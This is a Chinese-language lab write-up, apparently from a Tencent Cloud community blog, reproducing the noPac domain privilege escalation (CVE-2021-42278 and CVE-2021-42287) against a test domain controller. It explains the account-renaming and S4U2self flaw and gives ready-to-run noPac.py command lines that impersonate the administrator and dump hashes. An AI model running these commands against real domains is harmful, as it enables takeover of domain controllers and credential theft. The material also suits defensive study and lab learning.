前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-42287 CVE-2021-42278域提权漏洞复现

CVE-2021-42287 CVE-2021-42278域提权漏洞复现

原创
作者头像
用户8478947
发布2022-09-07 15:08:18
7180
发布2022-09-07 15:08:18
举报
文章被收录于专栏:安全学习

漏洞简介

CVE-2021-42278

机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

CVE-2021-42287

当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

利用流程

假如域内有一台域控名为 DC01(域控对应的机器用户为 DC01$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 xiaoxin,再把机器用户 xiaoxin 的 sAMAccountName 改成 DC01。然后利用 DC01 去申请一个TGT票据。再把 DC01 的sAMAccountName 改回来 xiaoxin。这个时候 KDC 就会判断域内没有 DC01 这个用户,自动去搜索 DC01$(DC01$是域控DC01 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC01 的 ST 票据,最终获得域控制器DC的权限。

漏洞环境

该漏洞复现环境是红日二靶场搭建的,拓扑如下

主机名字

IP

DC.de1ay.com

10.10.10.10

root kali

10.10.10.128

漏洞用到的工具

  1. 漏洞利用工具:noPac https://github.com/Ridter/noPac
  2. 网络协议工具:impacket

https://github.com/SecureAuthCorp/impacket

漏洞复现

该漏洞需要搜集到的数据是:

  1. 一个域用户账号密码
  2. 域控ip地址和域控名字

直接进行exp的使用

代码语言:txt
复制
python3 noPac.py 域名字/域用户 :'域用户密码' -dc-ip 域控ip地址 -dc-host 域控名字 --impersonate administrator -dump -use-ldap
python3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap
image-20220904205956593
image-20220904205956593
代码语言:txt
复制
python3 noPac.py de1ay.com/mssql:'1qaz@WSX' -dc-ip 10.10.10.10 -dc-host DC --impersonate administrator -dump -use-ldap
image-20220904210058014
image-20220904210058014

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
    • CVE-2021-42278
      • CVE-2021-42287
      • 利用流程
      • 漏洞环境
      • 漏洞用到的工具
      • 漏洞复现
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档